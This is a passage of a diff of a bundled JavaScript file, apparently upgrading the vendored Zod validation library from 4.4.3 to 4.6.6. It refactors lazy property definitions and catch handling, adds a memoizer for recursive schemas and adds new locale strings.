ctx); }; }); var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.innerType._zod.optin); - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0; }); - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0; }); inst._zod.parse = (payload, ctx) => { if (payload.value === null) @@ -58668,8 +59317,8 @@ var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { }); var $ZodDefault = /* @__PURE__ */ $constructor("$ZodDefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58693,8 +59342,8 @@ function handleDefaultResult(payload, def) { } var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58707,8 +59356,8 @@ var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { }); var $ZodNonOptional = /* @__PURE__ */ $constructor("$ZodNonOptional", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => { - const v = def.innerType._zod.values; + defineLazyInternal(inst, "values", (zod) => { + const v = zod.def.innerType._zod.values; return v ? new Set([...v].filter((x) => x !== void 0)) : void 0; }); inst._zod.parse = (payload, ctx) => { @@ -58747,46 +59396,37 @@ var $ZodSuccess = /* @__PURE__ */ $constructor("$ZodSuccess", (inst, def) => { return payload; }; }); +function handleCatchResult(payload, result, def, ctx) { + if (!result.issues.length) { + payload.value = result.value; + if (result.memo) + payload.memo = true; + return payload; + } + payload.value = def.catchValue({ + ...result, + value: payload.value, + error: { + issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + return payload; +} var $ZodCatch = /* @__PURE__ */ $constructor("$ZodCatch", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); } - const result = def.innerType._zod.run(payload, ctx); + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); if (result instanceof Promise) { - return result.then((result2) => { - payload.value = result2.value; - if (result2.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; - } - return payload; - }); - } - payload.value = result.value; - if (result.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; + return result.then((result2) => handleCatchResult(payload, result2, def, ctx)); } - return payload; + return handleCatchResult(payload, result, def, ctx); }; }); var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { @@ -58806,10 +59446,10 @@ var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { }); var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { const right = def.out._zod.run(payload, ctx); @@ -58826,18 +59466,18 @@ var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { }; }); function handlePipeResult(left, next, ctx) { - if (left.issues.length) { + if (left.issues.some((iss) => iss.code !== "unrecognized_keys")) { left.aborted = true; return left; } - return next._zod.run({ value: left.value, issues: left.issues, fallback: left.fallback }, ctx); + return next._zod.run({ value: left.value, issues: left.issues }, ctx); } var $ZodCodec = /* @__PURE__ */ $constructor("$ZodCodec", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { const direction = ctx.direction || "forward"; if (direction === "forward") { @@ -58887,10 +59527,10 @@ var $ZodPreprocess = /* @__PURE__ */ $constructor("$ZodPreprocess", (inst, def) }); var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "propValues", () => def.innerType._zod.propValues); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "optin", () => def.innerType?._zod?.optin); - defineLazy(inst._zod, "optout", () => def.innerType?._zod?.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.innerType._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType?._zod?.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType?._zod?.optout); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58903,23 +59543,66 @@ var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { }; }); function handleReadonlyResult(payload) { - payload.value = Object.freeze(payload.value); + if (!payload.memo) + payload.value = Object.freeze(payload.value); return payload; } +function leafPattern(schema) { + const def = schema._zod.def; + let pattern = def.pattern; + let isInt = !!def.format?.includes("int"); + let minimum; + let maximum; + for (const ch of def.checks ?? []) { + const d = ch._zod.def; + if (d.pattern) + pattern = d.pattern; + isInt || (isInt = !!d.format?.includes("int")); + const lo = d.minimum ?? d.length; + const hi = d.maximum ?? d.length; + if (lo !== void 0 && (minimum === void 0 || lo > minimum)) + minimum = lo; + if (hi !== void 0 && (maximum === void 0 || hi < maximum)) + maximum = hi; + } + if (pattern) + return pattern.source; + if (minimum !== void 0 && maximum !== void 0 && minimum > maximum) + return "(?!)"; + if (minimum !== void 0 || maximum !== void 0) + return string({ minimum, maximum }).source; + const own2 = schema._zod.pattern; + return (isInt && own2 === number ? integer : own2)?.source; +} +function partPattern(schema) { + const def = schema._zod.def; + const own2 = schema._zod.pattern?.source; + const inner = def.innerType ?? schema._zod.innerType; + if (inner) { + const before = inner._zod.pattern?.source; + const after = partPattern(inner); + if (own2 && before && after && after !== before) { + return own2.replace(cleanRegex(before), () => cleanRegex(after)); + } + return own2; + } + if (def.options) { + const sources = def.options.map(partPattern); + if (sources.every(Boolean)) + return `^(${sources.map((s) => cleanRegex(s)).join("|")})$`; + } + return leafPattern(schema); +} var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (inst, def) => { $ZodType.init(inst, def); const regexParts = []; for (const part of def.parts) { if (typeof part === "object" && part !== null) { - if (!part._zod.pattern) { + const source = partPattern(part); + if (!source) { throw new Error(`Invalid template literal part, no pattern found: ${[...part._zod.traits].shift()}`); } - const source = part._zod.pattern instanceof RegExp ? part._zod.pattern.source : part._zod.pattern; - if (!source) - throw new Error(`Invalid template literal part: ${part._zod.traits}`); - const start = source.startsWith("^") ? 1 : 0; - const end = source.endsWith("$") ? source.length - 1 : source.length; - regexParts.push(source.slice(start, end)); + regexParts.push(cleanRegex(source)); } else if (part === null || primitiveTypes.has(typeof part)) { regexParts.push(escapeRegex(`${part}`)); } else { @@ -58953,33 +59636,33 @@ var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (i }); var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { $ZodType.init(inst, def); - inst._def = def; + Object.defineProperty(inst, "_def", { value: def }); inst._zod.def = def; inst.implement = (func) => { if (typeof func !== "function") { throw new Error("implement() must be called with a function"); } - return function(...args) { + return Object.defineProperty(function(...args) { const parsedArgs = inst._def.input ? parse(inst._def.input, args) : args; const result = Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return parse(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst.implementAsync = (func) => { if (typeof func !== "function") { throw new Error("implementAsync() must be called with a function"); } - return async function(...args) { + return Object.defineProperty(async function(...args) { const parsedArgs = inst._def.input ? await parseAsync(inst._def.input, args) : args; const result = await Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return await parseAsync(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst._zod.parse = (payload, _ctx) => { if (typeof payload.value !== "function") { @@ -59018,12 +59701,12 @@ var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { output: inst._def.output }); }; - inst.output = (output) => { + inst.output = (output2) => { const F = inst.constructor; return new F({ type: "function", input: inst._def.input, - output + output: output2 }); }; return inst; @@ -59042,10 +59725,10 @@ var $ZodLazy = /* @__PURE__ */ $constructor("$ZodLazy", (inst, def) => { d._cachedInner = def.getter(); return d._cachedInner; }); - defineLazy(inst._zod, "pattern", () => inst._zod.innerType?._zod?.pattern); - defineLazy(inst._zod, "propValues", () => inst._zod.innerType?._zod?.propValues); - defineLazy(inst._zod, "optin", () => inst._zod.innerType?._zod?.optin ?? void 0); - defineLazy(inst._zod, "optout", () => inst._zod.innerType?._zod?.optout ?? void 0); + defineLazyInternal(inst, "pattern", (zod) => zod.innerType?._zod?.pattern); + defineLazyInternal(inst, "propValues", (zod) => zod.innerType?._zod?.propValues); + defineLazyInternal(inst, "optin", (zod) => zod.innerType?._zod?.optin ?? void 0); + defineLazyInternal(inst, "optout", (zod) => zod.innerType?._zod?.optout ?? void 0); inst._zod.parse = (payload, ctx) => { const inner = inst._zod.innerType; return inner._zod.run(payload, ctx); @@ -59058,20 +59741,20 @@ var $ZodCustom = /* @__PURE__ */ $constructor("$ZodCustom", (inst, def) => { return payload; }; inst._zod.check = (payload) => { - const input = payload.value; - const r = def.fn(input); + const input2 = payload.value; + const r = def.fn(input2); if (r instanceof Promise) { - return r.then((r2) => handleRefineResult(r2, payload, input, inst)); + return r.then((r2) => handleRefineResult(r2, payload, input2, inst)); } - handleRefineResult(r, payload, input, inst); + handleRefineResult(r, payload, input2, inst); return; }; }); -function handleRefineResult(result, payload, input, inst) { +function handleRefineResult(result, payload, input2, inst) { if (!result) { const _iss = { code: "custom", - input, + input: input2, inst, // incorporates params.error into issue reporting path: [...inst._zod.def.path ?? []], @@ -59085,14 +59768,293 @@ function handleRefineResult(result, payload, input, inst) { } } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/memoizer.js +var $ZodCyclicError = class extends Error { + constructor() { + super(`Cannot parse a reference cycle that closes through a transform`); + this.name = "ZodCyclicError"; + } +}; +var STATE = "~memo"; +var NO_ISSUES = []; +function isRef(value) { + return value !== null && typeof value === "object"; +} +function cloneIssues(issues) { + return issues.map((iss) => iss.path ? { ...iss, path: iss.path.slice() } : { ...iss }); +} +var recursive = /* @__PURE__ */ new WeakMap(); +var NONE = 0; +var ASSUMED = 1; +var PROVEN = 2; +function isRecursive(inst, stack, resolve) { + const cached2 = recursive.get(inst); + if (cached2 !== void 0) + return cached2 ? PROVEN : NONE; + if (stack.has(inst)) + return PROVEN; + stack.add(inst); + let result = NONE; + const check3 = (child) => { + if (result !== PROVEN && child?._zod) { + const answer = isRecursive(child, stack, resolve); + if (answer > result) + result = answer; + } + }; + const shape = (sh, spread) => { + let answer = NONE; + for (const key of Reflect.ownKeys(sh)) { + const desc2 = Object.getOwnPropertyDescriptor(sh, key); + if (spread && !desc2.enumerable) + continue; + const child = desc2.get ? ASSUMED : desc2.value?._zod ? isRecursive(desc2.value, stack, resolve) : NONE; + if (child > answer) + answer = child; + } + return answer; + }; + const merge2 = (answer) => { + if (answer > result) + result = answer; + }; + const def = inst._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const raw = rawShape(def); + merge2(raw ? shape(raw, true) : ASSUMED); + check3(def.catchall); + break; + } + case "array": + check3(def.element); + break; + case "tuple": + for (const el of def.items) + check3(el); + check3(def.rest); + break; + case "record": + case "map": + check3(def.keyType); + check3(def.valueType); + break; + case "set": + check3(def.valueType); + break; + case "union": + for (const el of def.options) + check3(el); + break; + case "intersection": + check3(def.left); + check3(def.right); + break; + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": + check3(def.innerType); + break; + case "pipe": + check3(def.in); + check3(def.out); + break; + case "function": + check3(def.input); + check3(def.output); + break; + // `$ZodLazy` caches its inner on the def, so a resolved edge is followed exactly + case "lazy": { + const inner = def._cachedInner ?? (resolve ? inst._zod.innerType : void 0); + merge2(inner ? isRecursive(inner, stack, false) : ASSUMED); + break; + } + // a leaf by choice: `parts` are regex fragments, not data positions + case "template_literal": + // leaves + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + break; + default: { + kind; + for (const key in def) { + const desc2 = Object.getOwnPropertyDescriptor(def, key); + if (!desc2 || desc2.get) + continue; + const value = desc2.value; + if (!value || typeof value !== "object") + continue; + if (value._zod) + check3(value); + else if (Array.isArray(value)) + for (const el of value) + check3(el); + } + } + } + stack.delete(inst); + return settle(inst, result); +} +function settle(inst, answer) { + if (answer !== ASSUMED) + recursive.set(inst, answer === PROVEN); + return answer; +} +function isRecursiveSchema(inst) { + return isRecursive(inst, /* @__PURE__ */ new Set(), true) !== NONE; +} +function bucketFor(state, inst) { + let bucket = state.buckets.get(inst); + if (!bucket) { + bucket = /* @__PURE__ */ new WeakMap(); + state.buckets.set(inst, bucket); + } + return bucket; +} +var handoff; +var open = []; +var memo = { + alloc(_inst, payload, empty) { + const bucket = handoff; + if (!bucket) + return empty; + handoff = void 0; + const entry = { value: empty, issues: null }; + bucket.set(payload.value, entry); + open.push(entry); + return empty; + }, + guard(inst) { + var _a3; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (ctx.direction !== "backward" && isBackEdge(ctx, payload.value)) + throw new $ZodCyclicError(); + return base(payload, ctx); + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + }, + attach(inst) { + var _a3; + let isRecursiveInst; + let rechecked = false; + let lastCtx; + let lastBucket; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (isRecursiveInst === void 0) { + const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false); + if (walked === NONE) { + inst._zod.parse = base; + if (inst._zod.run === wrapped) + inst._zod.run = base; + return base(payload, ctx); + } + if (walked === PROVEN || rechecked) + isRecursiveInst = true; + else + rechecked = true; + } + const input2 = payload.value; + if (!isRef(input2)) + return base(payload, ctx); + let state = ctx[STATE]; + if (!state) { + state = { buckets: /* @__PURE__ */ new WeakMap(), backEdges: void 0 }; + ctx[STATE] = state; + } + let bucket; + if (lastCtx === ctx) { + bucket = lastBucket; + } else { + bucket = bucketFor(state, inst); + lastCtx = ctx; + lastBucket = bucket; + } + const hit = bucket.get(input2); + if (hit) { + payload.value = hit.value; + if (hit.issues) { + if (hit.issues.length) + payload.issues.push(...cloneIssues(hit.issues)); + } else { + payload.memo = true; + state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet()); + state.backEdges.add(hit.value); + } + return payload; + } + handoff = bucket; + const depth = open.length; + const result = base(payload, ctx); + handoff = void 0; + const entry = open.length > depth ? open.pop() : void 0; + if (result instanceof Promise) { + return result.then((r) => { + if (entry) + entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES; + return r; + }); + } + if (entry) + entry.issues = result.issues.length ? cloneIssues(result.issues) : NO_ISSUES; + return result; + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + } +}; +function memoizer() { + return memo; +} +function isBackEdge(ctx, value) { + const backEdges = ctx[STATE]?.backEdges; + return backEdges !== void 0 && isRef(value) && backEdges.has(value); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/index.js var locales_exports = {}; __export(locales_exports, { ar: () => ar_default, az: () => az_default, be: () => be_default, bg: () => bg_default, + bn: () => bn_default, ca: () => ca_default, + ckb: () => ckb_default, cs: () => cs_default, da: () => da_default, de: () => de_default, @@ -59104,7 +60066,9 @@ __export(locales_exports, { fi: () => fi_default, fr: () => fr_default, frCA: () => fr_CA_default, + gu: () => gu_default, he: () => he_default, + hi: () => hi_default, hr: () => hr_default, hu: () => hu_default, hy: () => hy_default, @@ -59115,22 +60079,29 @@ __export(locales_exports, { ka: () => ka_default, kh: () => kh_default, km: () => km_default, + kn: () => kn_default, ko: () => ko_default, lt: () => lt_default, mk: () => mk_default, ms: () => ms_default, + ne: () => ne_default, nl: () => nl_default, + nn: () => nn_default, no: () => no_default, ota: () => ota_default, pl: () => pl_default, ps: () => ps_default, pt: () => pt_default, + ptBR: () => pt_BR_default, ro: () => ro_default, ru: () => ru_default, + sk: () => sk_default, sl: () => sl_default, sv: () => sv_default, ta: () => ta_default, + tg: () => tg_default, th: () => th_default, + tk: () => tk_default, tr: () => tr_default, ua: () => ua_default, uk: () => uk_default, @@ -59142,13 +60113,14 @@ __export(locales_exports, { zhTW: () => zh_TW_default }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ar.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ar.js var error = () => { const Sizable = { string: { unit: "\u062D\u0631\u0641", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, file: { unit: "\u0628\u0627\u064A\u062A", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, array: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, - set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } + set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + map: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59174,12 +60146,16 @@ var error = () => { duration: "\u0645\u062F\u0629 \u0628\u0645\u0639\u064A\u0627\u0631 ISO", ipv4: "\u0639\u0646\u0648\u0627\u0646 IPv4", ipv6: "\u0639\u0646\u0648\u0627\u0646 IPv6", + mac: "\u0639\u0646\u0648\u0627\u0646 MAC", cidrv4: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv4", cidrv6: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv6", base64: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64-encoded", base64url: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64url-encoded", json_string: "\u0646\u064E\u0635 \u0639\u0644\u0649 \u0647\u064A\u0626\u0629 JSON", e164: "\u0631\u0642\u0645 \u0647\u0627\u062A\u0641 \u0628\u0645\u0639\u064A\u0627\u0631 E.164", + credit_card: "\u0631\u0642\u0645 \u0628\u0637\u0627\u0642\u0629 \u0627\u0644\u0627\u0626\u062A\u0645\u0627\u0646", + currency_code: "\u0631\u0645\u0632 \u0627\u0644\u0639\u0645\u0644\u0629", + iban: "IBAN", jwt: "JWT", template_literal: "\u0645\u062F\u062E\u0644" }; @@ -59249,13 +60225,14 @@ function ar_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/az.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/az.js var error2 = () => { const Sizable = { string: { unit: "simvol", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "element", verb: "olmal\u0131d\u0131r" }, - set: { unit: "element", verb: "olmal\u0131d\u0131r" } + set: { unit: "element", verb: "olmal\u0131d\u0131r" }, + map: { unit: "element", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59281,12 +60258,16 @@ var error2 = () => { duration: "ISO duration", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded string", base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + credit_card: "kredit kart\u0131 n\xF6mr\u0259si", + currency_code: "valyuta kodu", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59355,7 +60336,7 @@ function az_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/be.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/be.js function getBelarusianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -59397,6 +60378,14 @@ var error3 = () => { }, verb: "\u043C\u0435\u0446\u044C" }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, file: { unit: { one: "\u0431\u0430\u0439\u0442", @@ -59430,12 +60419,16 @@ var error3 = () => { duration: "ISO \u043F\u0440\u0430\u0446\u044F\u0433\u043B\u0430\u0441\u0446\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0430\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0430\u0441", + mac: "MAC \u0430\u0434\u0440\u0430\u0441", cidrv4: "IPv4 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", base64: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64", base64url: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64url", json_string: "JSON \u0440\u0430\u0434\u043E\u043A", e164: "\u043D\u0443\u043C\u0430\u0440 E.164", + credit_card: "\u043D\u0443\u043C\u0430\u0440 \u043A\u0440\u044D\u0434\u044B\u0442\u043D\u0430\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0443\u0432\u043E\u0434" }; @@ -59512,13 +60505,14 @@ function be_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/bg.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bg.js var error4 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, file: { unit: "\u0431\u0430\u0439\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59544,12 +60538,16 @@ var error4 = () => { duration: "ISO \u043F\u0440\u043E\u0434\u044A\u043B\u0436\u0438\u0442\u0435\u043B\u043D\u043E\u0441\u0442", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "base64-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", base64url: "base64url-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", json_string: "JSON \u043D\u0438\u0437", e164: "E.164 \u043D\u043E\u043C\u0435\u0440", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u043E\u0434" }; @@ -59633,13 +60631,128 @@ function bg_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ca.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bn.js var error5 = () => { + const Sizable = { + string: { unit: "\u0985\u0995\u09CD\u09B7\u09B0", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + file: { unit: "\u09AC\u09BE\u0987\u099F", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + array: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + set: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + map: { unit: "\u098F\u09A8\u09CD\u099F\u09CD\u09B0\u09BF", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0987\u09A8\u09AA\u09C1\u099F", + email: "\u0987\u09AE\u09C7\u0987\u09B2 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + url: "URL", + emoji: "\u0987\u09AE\u09CB\u099C\u09BF", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u09A4\u09BE\u09B0\u09BF\u0996 \u0993 \u09B8\u09AE\u09AF\u09BC", + date: "ISO \u09A4\u09BE\u09B0\u09BF\u0996", + time: "ISO \u09B8\u09AE\u09AF\u09BC", + duration: "ISO \u09B8\u09AE\u09AF\u09BC\u0995\u09BE\u09B2", + ipv4: "IPv4 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + ipv6: "IPv6 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + mac: "MAC \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + cidrv4: "IPv4 \u09B0\u09C7\u099E\u09CD\u099C", + cidrv6: "IPv6 \u09B0\u09C7\u099E\u09CD\u099C", + base64: 